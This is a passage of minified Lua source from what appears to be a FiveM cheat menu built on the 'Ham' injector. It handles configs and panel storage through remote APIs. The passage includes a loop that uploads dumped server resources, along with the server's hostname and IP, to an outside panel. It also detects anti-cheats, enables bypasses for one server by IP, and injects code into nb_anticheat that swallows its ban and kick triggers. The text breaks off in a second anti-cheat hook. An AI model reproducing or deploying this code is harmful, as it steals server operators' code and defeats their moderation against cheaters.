menu.utils.notify("Unable to get username for config save", "error") if callback then callback(false) end return end local configJson = menu.configSystem.saveConfig() if not configJson then menu.utils.notify("Failed to generate config data", "error") if callback then callback(false) end return end local payload = { username = username, configName = configName, configContent = configJson, token = Ham.getAuthToken() or "" } local requestId = Ham.httpPostAsync("https://vty.ham.cx/config", json.encode(payload)) if not requestId then menu.utils.notify("Failed to start config save request", "error") if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success then menu.utils.notify("Config '" .. configName .. "' saved successfully", "success") if callback then callback(true) end return end local message = response and response.message or "Unknown error" menu.utils.notify("Failed to save config: " .. message, "error") if callback then callback(false) end return end menu.utils.notify("Failed to save config '" .. configName .. "'", "error") if callback then callback(false) end return end Wait(10) end menu.utils.notify("Config save request timed out", "error") if callback then callback(false) end end) end pendingMenuEntry16 = saveConfigToServer end menuFunctions.saveConfigToServer = pendingMenuEntry16 do local function getConfigInfo(configJson) if not configJson or configJson == "" then return nil end local decodeSucceeded, configData = pcall(json.decode, configJson) if not decodeSucceeded then return nil end return { version = configData.version, timestamp = configData.timestamp, timestampFormatted = os.date("%Y-%m-%d %H:%M:%S", configData.timestamp or 0) } end pendingMenuEntry16 = getConfigInfo end menuFunctions.getConfigInfo = pendingMenuEntry16 do local function validateConfig(configJson) if not configJson or configJson == "" then return false, "Empty config string" end local decodeSucceeded, configData = pcall(json.decode, configJson) if not decodeSucceeded then return false, "Invalid JSON format" end if not configData.version then return false, "Missing version field" end if not configData.bools then return false, "Missing boolean states" end if not configData.selectors then return false, "Missing selector states" end return true, "Valid config" end pendingMenuEntry16 = validateConfig end menuFunctions.validateConfig = pendingMenuEntry16 menuTargetForConfigApi.configSystem = menuFunctions menuTargetForConfigApi = _ENV["menu"] menuFunctions = _ENV["menu"]["functions"] if not menuFunctions then menuFunctions = {} end menuTargetForConfigApi.functions = menuFunctions menuTargetForConfigApi = _ENV["menu"]["functions"] do local function saveConfig() local configString = menu.configSystem.saveConfig() if configString then menu.utils.notify("Config saved successfully", "success") return configString end menu.utils.notify("Failed to save config", "error") return nil end menuFunctions = saveConfig end menuTargetForConfigApi.saveConfig = menuFunctions menuTargetForConfigApi = menu["functions"] do local function loadConfig(options) if not options or not options.configString then menu.utils.notify("No config string provided", "error") return false end return menu.configSystem.loadConfig(options.configString) end menuFunctions = loadConfig end menuTargetForConfigApi.loadConfig = menuFunctions menuTargetForConfigApi = _ENV["menu"]["functions"] do local function exportConfig() local configString = menu.configSystem.exportConfig() if configString then menu.utils.notify("Config exported successfully", "success") return configString end menu.utils.notify("Failed to export config", "error") return nil end menuFunctions = exportConfig end menuTargetForConfigApi.exportConfig = menuFunctions menuTargetForConfigApi = menu["functions"] do local function resetConfig() menu.configSystem.resetToDefaults() end menuFunctions = resetConfig end menuTargetForConfigApi.resetConfig = menuFunctions menuTargetForConfigApi = menu["functions"] do local function validateConfig(options) if not options or not options.configString then menu.utils.notify("No config string provided", "error") return false end local isValid, message = menu.configSystem.validateConfig(options.configString) if isValid then menu.utils.notify("Config is valid: " .. message, "success") else menu.utils.notify("Config is invalid: " .. message, "error") end return isValid end menuFunctions = validateConfig end menuTargetForConfigApi.validateConfig = menuFunctions menuTargetForConfigApi = _ENV["menu"]["functions"] do local function getConfigInfo(options) if not options or not options.configString then menu.utils.notify("No config string provided", "error") return nil end local info = menu.configSystem.getConfigInfo(options.configString) if info then menu.utils.notify("Config version: " .. info.version .. " | Created: " .. info.timestampFormatted, "info") else menu.utils.notify("Failed to get config info", "error") end return info end menuFunctions = getConfigInfo end menuTargetForConfigApi.getConfigInfo = menuFunctions _ENV["menu"]["vars"].cachedConfigs = nil _ENV["menu"]["vars"].configsCacheTime = 0 _ENV["menu"]["vars"].configFetchInFlight = false _ENV["menu"]["vars"].configFetchLastRequestTime = 0 _ENV["menu"]["vars"].configFetchPendingCallbacks = {} _ENV["menu"]["configSystem"].CONFIG_CACHE_TTL = 30000 _ENV["menu"]["configSystem"].CONFIG_REFRESH_COOLDOWN = 5000 menuTargetForConfigApi = _ENV["menu"]["configSystem"]["fetchConfigs"] configSystemTarget = _ENV["menu"]["configSystem"] do local function fetchConfigs(callback, options) options = options or {} local waitForFresh = options.waitForFresh == true local forceRefresh = options.forceRefresh == true local currentTime = GetGameTimer() local hasCachedConfigs = menu.vars.cachedConfigs ~= nil local cacheAge = currentTime - (menu.vars.configsCacheTime or 0) local cacheIsFresh = hasCachedConfigs and cacheAge < menu.configSystem.CONFIG_CACHE_TTL if not callback then return menu.vars.cachedConfigs or {} end if cacheIsFresh and not forceRefresh then callback(menu.vars.cachedConfigs) return end if menu.vars.configFetchInFlight then if waitForFresh then table.insert(menu.vars.configFetchPendingCallbacks, callback) else callback(menu.vars.cachedConfigs or {}) end return end if not forceRefresh and not waitForFresh and currentTime - (menu.vars.configFetchLastRequestTime or 0) < menu.configSystem.CONFIG_REFRESH_COOLDOWN then callback(menu.vars.cachedConfigs or {}) return end menu.vars.configFetchInFlight = true menu.vars.configFetchLastRequestTime = currentTime if waitForFresh then table.insert(menu.vars.configFetchPendingCallbacks, callback) end menuTargetForConfigApi(function(configs) menu.vars.cachedConfigs = configs menu.vars.configsCacheTime = GetGameTimer() menu.vars.configFetchInFlight = false if menu.logic and menu.logic.refreshSubmenuByTitle and menu.vars.navigationStack then local currentEntry = menu.vars.navigationStack[#menu.vars.navigationStack] local parentEntry = menu.vars.navigationStack[#menu.vars.navigationStack - 1] if currentEntry and currentEntry.title == "Config" then menu.logic.refreshSubmenuByTitle("Config") elseif currentEntry and parentEntry and parentEntry.title == "Config" then menu.logic.refreshSubmenuByTitle("Config") menu.logic.refreshSubmenuByTitle(currentEntry.title) end end local pendingCallbacks = menu.vars.configFetchPendingCallbacks or {} menu.vars.configFetchPendingCallbacks = {} for index = 1, #pendingCallbacks do local pendingCallback = pendingCallbacks[index] if pendingCallback then pcall(pendingCallback, configs) end end if not waitForFresh then callback(configs) end end) end configFunctionValue = fetchConfigs end configSystemTarget.fetchConfigs = configFunctionValue configSystemTarget = menu["functions"] do local function refreshConfigCache() menu.vars.cachedConfigs = nil menu.vars.configsCacheTime = 0 menu.vars.configFetchLastRequestTime = 0 end configFunctionValue = refreshConfigCache end configSystemTarget.refreshConfigCache = configFunctionValue configSystemTarget = menu["configSystem"] do local function removeConfigFromCache(configName) if not menu.vars.cachedConfigs or not configName then return false end local removed = false for index = #menu.vars.cachedConfigs, 1, -1 do local config = menu.vars.cachedConfigs[index] if config and config.configName and string.lower(tostring(config.configName)) == string.lower(tostring(configName)) then table.remove(menu.vars.cachedConfigs, index) removed = true end end if removed and menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Config") end return removed end configFunctionValue = removeConfigFromCache end configSystemTarget.removeConfigFromCache = configFunctionValue configSystemTarget = menu["configSystem"] do local function requestConfigRefresh() local currentTime = GetGameTimer() if menu.vars.cachedConfigs and currentTime - (menu.vars.configsCacheTime or 0) <= menu.configSystem.CONFIG_CACHE_TTL then return end menu.configSystem.fetchConfigs(function() end) end configFunctionValue = requestConfigRefresh end configSystemTarget.requestConfigRefresh = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function isConfigNameTaken(configName, configs) if not configName or configName == "" then return false end local normalizedName = string.lower(tostring(configName)) configs = configs or menu.configSystem.fetchConfigs() if configs and 0 < #configs then for _, config in ipairs(configs) do local existingName = config and config.configName if existingName and string.lower(tostring(existingName)) == normalizedName then return true end end end return false end configFunctionValue = isConfigNameTaken end configSystemTarget.isConfigNameTaken = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function validateConfigNameInput(configName) if not configName or configName == "" then return false, "Config name cannot be empty" end if string.find(configName, " ") then return false, "Config name cannot contain spaces" end if 12 < string.len(configName) then return false, "Config name too long (max 12 characters)" end return true end configFunctionValue = validateConfigNameInput end configSystemTarget.validateConfigNameInput = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function fetchConfigDataFromServer(configName, callback) Citizen.CreateThread(function() local username = Ham.getName() if not username or username == "" then menu.utils.notify("Unable to get username for config fetch", "error") if callback then callback(nil) end return end local url = "https://vty.ham.cx/config?token=" .. Ham.getAuthToken() .. "&configName=" .. menu.configSystem.urlEncode(configName) local requestId = Ham.httpGetAsync(url, nil, true) if not requestId then menu.utils.notify("Failed to start config fetch request", "error") if callback then callback(nil) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success and response.config and response.config.configData then if callback then callback(response.config.configData) end return end end menu.utils.notify("Failed to fetch config '" .. tostring(configName) .. "'", "error") if callback then callback(nil) end return end Wait(10) end menu.utils.notify("Config fetch request timed out", "error") if callback then callback(nil) end end) end configFunctionValue = fetchConfigDataFromServer end configSystemTarget.fetchConfigDataFromServer = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function saveRawConfigToServer(configName, configContent, callback, options) options = options or {} Citizen.CreateThread(function() local username = Ham.getName() if not username or username == "" then menu.utils.notify("Unable to get username for config save", "error") if callback then callback(false) end return end if not configContent or configContent == "" then menu.utils.notify("Failed to generate config data", "error") if callback then callback(false) end return end local payload = { username = username, configName = configName, configContent = configContent, token = Ham.getAuthToken() or "" } local requestId = Ham.httpPostAsync("https://vty.ham.cx/config", json.encode(payload)) if not requestId then menu.utils.notify("Failed to start config save request", "error") if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success then if not options.suppressSuccessNotify then menu.utils.notify("Config '" .. configName .. "' saved successfully", "success") end if callback then callback(true) end return end local message = response and response.message or "Unknown error" menu.utils.notify("Failed to save config: " .. message, "error") if callback then callback(false) end return end menu.utils.notify("Failed to save config '" .. configName .. "'", "error") if callback then callback(false) end return end Wait(10) end menu.utils.notify("Config save request timed out", "error") if callback then callback(false) end end) end configFunctionValue = saveRawConfigToServer end configSystemTarget.saveRawConfigToServer = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function deleteConfigFromServer(configName, callback) Citizen.CreateThread(function() if not configName or configName == "" then menu.utils.notify("No config name provided", "error") if callback then callback(false) end return end local url = "https://vty.ham.cx/config?token=" .. Ham.getAuthToken() .. "&configName=" .. menu.configSystem.urlEncode(configName) local requestId = Ham.httpDeleteAsync(url, nil, true) if not requestId then menu.utils.notify("Failed to start config delete request", "error") if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success then menu.utils.notify("Config '" .. configName .. "' deleted successfully", "success") if callback then callback(true) end return end local message = response and response.message or "Unknown error" menu.utils.notify("Failed to delete config: " .. message, "error") if callback then callback(false) end return end menu.utils.notify("Failed to delete config '" .. configName .. "'", "error") if callback then callback(false) end return end Wait(10) end menu.utils.notify("Config delete request timed out", "error") if callback then callback(false) end end) end configFunctionValue = deleteConfigFromServer end configSystemTarget.deleteConfigFromServer = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function renameConfigOnServer(oldName, newName, callback) local isValid, validationError = menu.configSystem.validateConfigNameInput(newName) if not isValid then menu.utils.notify(validationError, "error") if callback then callback(false) end return end if string.lower(tostring(oldName)) == string.lower(tostring(newName)) then menu.utils.notify("New config name must be different", "error") if callback then callback(false) end return end menu.configSystem.fetchConfigs(function(configs) if menu.configSystem.isConfigNameTaken(newName, configs) then menu.utils.notify("Config '" .. newName .. "' already exists", "error") if callback then callback(false) end return end local configCount = configs and #configs or 0 if 10 <= configCount then menu.utils.notify("Config limit reached (10 max). Rename cannot create an extra config.", "error") if callback then callback(false) end return end menu.configSystem.fetchConfigDataFromServer(oldName, function(configData) if not configData then if callback then callback(false) end return end menu.configSystem.saveRawConfigToServer(newName, configData, function(succeeded) if succeeded then menu.utils.notify( "Created '" .. newName .. "'. Old config '" .. oldName .. "' still exists.", "info" ) end if callback then callback(succeeded) end end, { suppressSuccessNotify = true }) end) end, { waitForFresh = true }) end configFunctionValue = renameConfigOnServer end configSystemTarget.renameConfigOnServer = configFunctionValue configSystemTarget = menu["configSystem"] do local function getConfigNames(options) options = options or {} local names = {} local otherNames = {} local seenNames = {} local includeDefault = options.includeDefault == true local configs = menu.configSystem.fetchConfigs() menu.configSystem.requestConfigRefresh() local function addName(name) if not name or name == "" or seenNames[name] then return end if name == menu.configSystem.vanityFriendsStoreName then return end seenNames[name] = true if name == "default" then table.insert(names, name) else table.insert(otherNames, name) end end if includeDefault then addName("default") end if configs and 0 < #configs then for _, config in ipairs(configs) do addName(config.configName) end end table.sort(otherNames, function(first, second) return string.lower(tostring(first)) < string.lower(tostring(second)) end) for _, name in ipairs(otherNames) do table.insert(names, name) end return names end configFunctionValue = getConfigNames end configSystemTarget.getConfigNames = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function getConfigActionSelectorVar(configName) local normalizedName = string.gsub(tostring(configName or "config"), "[^%w_]", "_") return "__config_action_" .. normalizedName end configFunctionValue = getConfigActionSelectorVar end configSystemTarget.getConfigActionSelectorVar = configFunctionValue configSystemTarget = _ENV["menu"]["configSystem"] do local function buildConfigMenuEntries() local entries = {} local configNames = menu.configSystem.getConfigNames({ includeDefault = true }) for _, configName in ipairs(configNames) do local selectorVar = menu.configSystem.getConfigActionSelectorVar(configName) local isDefault = configName == "default" local choices = isDefault and { "Load", "Overwrite", "Clean" } or { "Load", "Overwrite", "Delete" } table.insert(entries, { name = configName, type = "selector", var = selectorVar, choices = choices, func = function(action) if action == "Load" then menu.functions.loadSelectedConfig({ configName = configName }) return end if action == "Overwrite" then menu.functions.saveSelectedConfig({ configName = configName }) return end if action == "Clean" then menu.configSystem.resetToDefaults() menu.configSystem.deleteConfigFromServer("default", function(succeeded) if succeeded then menu.configSystem.removeConfigFromCache("default") end end) menu.utils.notify("Menu has been completely reset", "success") return end if action == "Delete" then menu.functions.deleteSelectedConfig({ configName = configName }) end end, description = isDefault and "Choose Load, Overwrite, or Clean (full reset) for 'default'" or "Choose Load, Overwrite, or Delete for '" .. configName .. "'" }) end if #entries == 0 then table.insert(entries, { name = "No saved configs", type = "text", description = "Save a config first to overwrite it" }) end return entries end configFunctionValue = buildConfigMenuEntries end configSystemTarget.buildConfigMenuEntries = configFunctionValue configSystemTarget = _ENV["menu"] menuFunctions = "panelApi" configFunctionValue = {} configSystemTarget[menuFunctions] = configFunctionValue panelApiBaseUrl = "https://p.vanity.menu/api/v1" panelApiTimeoutMs = 10000 base64Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" base64DecodeLookup = {} for index = 1, #base64Alphabet do local character = base64Alphabet:sub(index, index) base64DecodeLookup[character] = index - 1 end function decodeBase64(encoded) encoded = encoded:gsub("[^%w%+%/%=]", "") local decoded = {} for offset = 1, #encoded, 4 do local first = base64DecodeLookup[encoded:sub(offset, offset)] or 0 local second = base64DecodeLookup[encoded:sub(offset + 1, offset + 1)] or 0 local third = base64DecodeLookup[encoded:sub(offset + 2, offset + 2)] or 0 local fourth = base64DecodeLookup[encoded:sub(offset + 3, offset + 3)] or 0 local packed = first * 262144 + second * 4096 + third * 64 + fourth decoded[#decoded + 1] = string.char(math.floor(packed / 65536) % 256) if encoded:sub(offset + 2, offset + 2) ~= "=" then decoded[#decoded + 1] = string.char(math.floor(packed / 256) % 256) end if encoded:sub(offset + 3, offset + 3) ~= "=" then decoded[#decoded + 1] = string.char(packed % 256) end end return table.concat(decoded) end function createAuthorizationHeaders() local headers = {} headers.Authorization = "Bearer " .. decodeBase64(Ham.getAuthToken() or "") return headers end function createJsonAuthorizationHeaders() local headers = {} headers.Authorization = "Bearer " .. decodeBase64(Ham.getAuthToken() or "") headers["Content-Type"] = "application/json" headers.Accept = "application/json" return headers end function awaitPanelApiResponse(requestId, timeoutMs) if not timeoutMs then timeoutMs = panelApiTimeoutMs end local deadline = GetGameTimer() + timeoutMs while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result.ready then if not result.success or not result.data then return nil, "Request failed" end local ok, decoded = pcall(json.decode, result.data) if not ok or not decoded then print("Invalid JSON response", result.data) return nil, "Invalid JSON response" end if decoded.success == false then return nil, decoded.error or "Unknown API error" end return decoded.data, nil end Wait(10) end return nil, "Request timed out" end function checkDiscordLinked() if not menu.vars.linkedDiscord then return false, "You must link your Discord account." end return true, nil end do local function fetchScripts(callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local requestId = Ham.httpGetAsync(panelApiBaseUrl .. "/scripts", createAuthorizationHeaders(), true) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.fetchScripts = fetchScripts end do local function createScript(name, code, description, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local payload = {} payload.name = name payload.code = code if description and description ~= "" then payload.description = description end local requestId = Ham.httpPostAsync( panelApiBaseUrl .. "/scripts", json.encode(payload), createJsonAuthorizationHeaders(), true ) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.createScript = createScript end do local function deleteScript(scriptId, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(false, linkError) end return end local requestId = Ham.httpDeleteAsync( panelApiBaseUrl .. "/scripts/" .. tostring(scriptId), createAuthorizationHeaders(), true ) if not requestId then if callback then callback(false, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(responseError == nil, responseError) end end) end menu.panelApi.deleteScript = deleteScript end do local function fetchConfigs(callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local requestId = Ham.httpGetAsync(panelApiBaseUrl .. "/configs", createAuthorizationHeaders(), true) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.fetchConfigs = fetchConfigs end do local function createConfig(name, configData, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local payload = {} payload.name = name payload.config_data = configData local requestId = Ham.httpPostAsync( panelApiBaseUrl .. "/configs", json.encode(payload), createJsonAuthorizationHeaders(), true ) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.createConfig = createConfig end do local function deleteConfig(configId, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(false, linkError) end return end local requestId = Ham.httpDeleteAsync( panelApiBaseUrl .. "/configs/" .. tostring(configId), createAuthorizationHeaders(), true ) if not requestId then if callback then callback(false, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(responseError == nil, responseError) end end) end menu.panelApi.deleteConfig = deleteConfig end do local function fetchOutfits(callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local requestId = Ham.httpGetAsync(panelApiBaseUrl .. "/outfits", createAuthorizationHeaders(), true) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.fetchOutfits = fetchOutfits end do local function createOutfit(name, components, description, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local payload = {} payload.name = name payload.components = components if description and description ~= "" then payload.description = description end local requestId = Ham.httpPostAsync( panelApiBaseUrl .. "/outfits", json.encode(payload), createJsonAuthorizationHeaders(), true ) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.createOutfit = createOutfit end do local function deleteOutfit(outfitId, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(false, linkError) end return end local requestId = Ham.httpDeleteAsync( panelApiBaseUrl .. "/outfits/" .. tostring(outfitId), createAuthorizationHeaders(), true ) if not requestId then if callback then callback(false, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(responseError == nil, responseError) end end) end menu.panelApi.deleteOutfit = deleteOutfit end do local function import(code, name, callback) Citizen.CreateThread(function() local linked, linkError = checkDiscordLinked() if not linked then if callback then callback(nil, linkError) end return end local payload = {} payload.code = code if name and name ~= "" then payload.name = name end local requestId = Ham.httpPostAsync( panelApiBaseUrl .. "/import", json.encode(payload), createJsonAuthorizationHeaders(), true ) if not requestId then if callback then callback(nil, "Failed to start request") end return end local data, responseError = awaitPanelApiResponse(requestId) if callback then callback(data, responseError) end end) end menu.panelApi.import = import end do local function decryptScriptCode(script) if not script or not script.code or script.code == "" then return script end local decryptionKey = tostring(script.name) .. "_" .. tostring(script.id) decryptionKey = decryptionKey:gsub("[^A-Za-z0-9]", "") local decryptedCode = Ham.decryptString(script.code, decryptionKey) if decryptedCode then script.code = decryptedCode end return script end menu.panelApi.decryptScriptCode = decryptScriptCode end do local function saveDump(dump) if dump and dump.data then for _, entries in pairs(dump.data) do if type(entries) == "table" then for fileName in pairs(entries) do if type(fileName) == "string" then if fileName == ".fxap" or fileName:lower():match("%.fxap$") then entries[fileName] = nil end end end end end end local requestId = Ham.httpPostAsync(panelApiBaseUrl .. "/dumps", json.encode(dump), createJsonAuthorizationHeaders(), true) if not requestId then return end awaitPanelApiResponse(requestId) end menu.panelApi.saveDump = saveDump end CreateThread(function() local lastDumpName = nil while true do if Ham.getDumpStatus() and menu.vars.linkedDiscord then local dump = Ham.getDumpData() if not lastDumpName or lastDumpName ~= dump.name then lastDumpName = dump.name dump.serverName = Ham.getServerHostname() dump.serverIp = Ham.getServerEndpoint() menu.panelApi.saveDump(dump) end end Citizen.Wait(2000) end end) function rainbowColorForHue(hueOrOffset, fixedHue) local hue if fixedHue then hue = (hueOrOffset or 0) % 1.0 else hue = (GetGameTimer() / 3000.0 + (hueOrOffset or 0)) % 1.0 end local red, green, blue if hue < 0.16666666666666666 then red = 255 green = math.floor(hue * 6 * 255) blue = 0 elseif hue < 0.3333333333333333 then red = math.floor((0.3333333333333333 - hue) * 6 * 255) green = 255 blue = 0 elseif hue < 0.5 then red = 0 green = 255 blue = math.floor((hue - 0.3333333333333333) * 6 * 255) elseif hue < 0.6666666666666666 then red = 0 green = math.floor((0.6666666666666666 - hue) * 6 * 255) blue = 255 elseif hue < 0.8333333333333334 then red = math.floor((hue - 0.6666666666666666) * 6 * 255) green = 0 blue = 255 else red = 255 green = 0 blue = math.floor((1.0 - hue) * 6 * 255) end local color = {} local clampedRed = math.max(0, math.min(255, red)) local clampedGreen = math.max(0, math.min(255, green)) local clampedBlue = math.max(0, math.min(255, blue)) color[1] = clampedRed color[2] = clampedGreen color[3] = clampedBlue color[4] = 255 return color end function drawRainbowText(text, x, y, fontSize, centered) local textWidth = Ham.getTextWidth(text) local startX if centered then startX = math.floor(x - textWidth / 2) else startX = x end local currentX = startX local textLength = #text for characterIndex = 1, textLength do local character = text:sub(characterIndex, characterIndex) local color = rainbowColorForHue((characterIndex - 1) / math.max(1, textLength - 1) * 0.8, true) Ham.drawText(character, { currentX, math.floor(y) }, { 0, 0, 0, 255 }, fontSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(character, { currentX, math.floor(y) }, color, fontSize, false, false, {}) local characterWidth = Ham.getTextWidth(character) currentX = currentX + characterWidth end end _G.runmenu = true Citizen.CreateThread(function() local mouseWasDown = false while true do if menu.vars.blacklisted and GetGameTimer() <= (menu.vars.blacklistDisplayTime or 0) then if Ham.toggleMouse then Ham.toggleMouse(true) end menu.drawing.drawBlacklistMessage() local discordButton = menu.vars._blacklistDiscordBtn if discordButton and Ham.getMousePos and Ham.isMouseDown then local mouseDown = Ham.isMouseDown(0) if mouseWasDown and not mouseDown and discordButton.hover and Ham.openUrl then Ham.openUrl("https://discord.gg/vanitymenu") if menu.utils.playSound then menu.utils.playSound("SELECT") end end mouseWasDown = mouseDown else mouseWasDown = false end else mouseWasDown = false end if not _G.runmenu then if not menu.vars.blacklisted then return end if GetGameTimer() > (menu.vars.blacklistDisplayTime or 0) then return end end Wait(0) end end) Citizen.CreateThread(function() menu.vars.startupHudReady = false menu.vars.startupAntiCheatNotifyShown = false local loadingState = {} loadingState.active = true loadingState.progress = 0 loadingState.maxProgress = 20 loadingState.statusText = "Checking blacklist status..." loadingState.startTime = GetGameTimer() menu.vars.initLoading = loadingState local function isLoadingActive() if menu.vars.initLoading == loadingState and _G.runmenu ~= false then return true end return false end local function setLoadingStatus(statusText) loadingState.statusText = statusText end loadingState.themeReady = false Citizen.CreateThread(function() local themeLoaded = menu.configSystem.waitForDefaultConfigTheme(10000) if not isLoadingActive() then return end if not themeLoaded then menu.configSystem._defaultThemeRequestId = nil menu.functions.applyDefaultStartupBannerTheme() end loadingState.themeReady = true end) menu.textureLoading.ensureNotifyLogoLoading() Citizen.CreateThread(function() while isLoadingActive() and not loadingState.active do Citizen.Wait(50) end while isLoadingActive() do if not loadingState.active then return end Citizen.Wait(0) if not isLoadingActive() or not loadingState.active then return end local progress = loadingState.progress / loadingState.maxProgress local elapsedTime = GetGameTimer() - loadingState.startTime if loadingState.themeReady then local primaryColor if menu.drawing and menu.drawing.colors then primaryColor = menu.drawing.colors.primary end menu.textureLoading.drawLoadingToast(progress, loadingState.statusText, primaryColor) end end end) setLoadingStatus("Checking blacklist status...") local serverVerified = menu.utils.verifyServerAndLog() if not isLoadingActive() then return end if not serverVerified then loadingState.active = false return end menu.vars.injectedHamUserName = Ham and Ham.getName and Ham.getName() or nil Citizen.CreateThread(function() local hamUserName = menu.utils.resolveHamUserName() if hamUserName then menu.vars.cachedLifetimeSubs = menu.utils.fetchLifetimeSubscriptionDaysFromApi(hamUserName) end end) loadingState.progress = 1 setLoadingStatus("Checking server access...") local serverAllowed = menu.utils.checkServerBan() if not isLoadingActive() then return end if not serverAllowed then loadingState.active = false return end if menu.vars.pendingBlacklistMessage then menu.vars.screenBoundOverlayUntil = 0 menu.vars.screenBoundOverlayText = nil menu.vars.blacklisted = true menu.vars.blacklistUiMode = menu.vars.pendingBlacklistUiMode or "blacklist" menu.vars.blacklistMessage = menu.vars.pendingBlacklistMessage menu.vars.blacklistDisplayTime = GetGameTimer() + (menu.vars.pendingBlacklistDisplayDuration or 60000) menu.vars.pendingBlacklistMessage = nil menu.vars.pendingBlacklistDisplayDuration = 0 menu.vars.pendingBlacklistUiMode = nil loadingState.active = false menu.vars.isBindingKey = false menu.vars.initSetupActive = false _G.runmenu = false return end loadingState.active = true loadingState.progress = 2 setLoadingStatus("Preparing image downloads...") local texturesReady = menu.textureLoading.waitForAll(loadingState, 2, 4) if texturesReady == false then return end if not isLoadingActive() then return end loadingState.progress = 4 setLoadingStatus("Preparing Textures...") menu.vars.heartbeatActive = true Citizen.CreateThread(function() while menu.vars.heartbeatActive do if _G.runmenu ~= true then return end if not menu.utils.heartbeat() then menu.vars.heartbeatActive = false return end Wait(1500) end end) Citizen.CreateThread(function() local canSeeUsers = menu.utils.canSeeVanityMenuUsers and menu.utils.canSeeVanityMenuUsers() or false menu.utils.feVaMeU(canSeeUsers) while _G.runmenu == true do menu.utils.feVaMeU(false) Wait(5000) end end) Citizen.CreateThread(function() local discordWasLinked = false while _G.runmenu == true do if menu.functions.checkDiscordStatus() then if not discordWasLinked then discordWasLinked = true menu.functions.populatePanelScripts() menu.functions.fetchPanelScriptsNow() menu.panelApi.fetchOutfits(function(outfits, responseError) if responseError then return end menu.vars.panelOutfits = outfits or {} end) end Wait(60000) else if discordWasLinked then discordWasLinked = false menu.vars.panelScripts = nil menu.vars.panelScriptsById = nil menu.vars.panelScriptsHash = nil menu.functions.populatePanelScripts() end Wait(15000) end end end) loadingState.progress = 5 setLoadingStatus("Starting Services...") loadingState.progress = 6 setLoadingStatus("Scanning anti-cheat...") menu.vars.antiCheats = menu.utils.detectAntiCheat(true) menu.vars.detectedAntiCheatsList = menu.vars.antiCheats for _, antiCheatName in pairs(menu.vars.antiCheats) do menu.vars.antiCheats[antiCheatName] = true end if Ham.hasResource("fiveguard") then menu.vars.antiCheats.FiveGuard = true end local serverEndpoint = Ham.getServerEndpoint() or "" if serverEndpoint == "104.167.24.82" then menu.vars.bools.revoBypass = true menu.vars.bools.electronAcWeaponBypass = false if menu.functions.clearElectronAcWeaponBypass then menu.functions.clearElectronAcWeaponBypass() end end if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then menu.vars.bools.rageBotTargetDead = true if menu.vars.bools.grandRpBypass == nil then menu.vars.bools.grandRpBypass = true end end if Ham.hasResource("nb_anticheat") then Ham.Execute( "nb_anticheat", [[ local blocked = { bancheater = true, kickcheater = true, } local orig = ProtectClient.SendTrigger ProtectClient.SendTrigger = function(eventName, ...) if blocked[eventName] then return end return orig(eventName, ...) end ]] ) end if Ham.hasResource("cv-core") then Ham.Execute( "cv-core", [[ local origTrigger = CV_NET.TriggerServerEvent CV_NET.TriggerServerEvent = 